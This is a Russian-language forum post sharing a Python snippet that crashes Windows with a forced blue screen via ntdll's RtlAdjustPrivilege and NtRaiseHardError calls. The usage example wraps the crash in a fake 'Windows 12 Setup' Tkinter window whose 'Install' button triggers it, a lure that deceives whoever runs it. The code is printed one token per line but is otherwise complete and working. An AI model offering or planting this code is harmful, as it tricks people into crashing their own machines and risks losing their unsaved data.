Показать сообщение отдельно

  #7  
Старый 29.05.2023, 23:59
riverya4life
Постоянный
Регистрация: 06.11.2021
Сообщений: 397
С нами: 2378594

Репутация: 48
По умолчанию

Описание:Синий экран смерти (Увидел это от @chapo , подумал сделать так-же, только на питоне)

Код сниппета/функции:

Python:





Код:
import
ctypes
ntdll
=
ctypes
.
windll
.
ntdll
prev_value
=
ctypes
.
c_bool
(
)
res
=
ctypes
.
c_ulong
(
)
ntdll
.
RtlAdjustPrivilege
(
19
,
True
,
False
,
ctypes
.
byref
(
prev_value
)
)
ntdll
.
NtRaiseHardError
(
0xDEADDEAD
,
0
,
0
,
0
,
6
,
ctypes
.
byref
(
res
)
)


Пример использования:

Python:





Код:
import
tkinter
as
tk
import
ctypes
def
CallBSOD
(
)
:
ntdll
=
ctypes
.
windll
.
ntdll
    prev_value
=
ctypes
.
c_bool
(
)
res
=
ctypes
.
c_ulong
(
)
ntdll
.
RtlAdjustPrivilege
(
19
,
True
,
False
,
ctypes
.
byref
(
prev_value
)
)
ntdll
.
NtRaiseHardError
(
0xDEADDEAD
,
0
,
0
,
0
,
6
,
ctypes
.
byref
(
res
)
)
root
=
tk
.
Tk
(
)
root
.
config
(
bg
=
'black'
)
root
.
title
(
'Шиндовс 12 Сетуп'
)
root
.
geometry
(
'500x200'
)
root
.
resizable
(
0
,
0
)
btnGenerate
=
tk
.
Button
(
root
,
text
=
'Установить'
,
font
=
'Arial 13 bold'
,
borderwidth
=
2
,
command
=
CallBSOD
)
btnGenerate
.
place
(
relx
=
0.5
,
rely
=
0.8
,
anchor
=
tk
.
CENTER
,
width
=
150
,
height
=
50
)
root
.
mainloop
(
)
 
Ответить с цитированием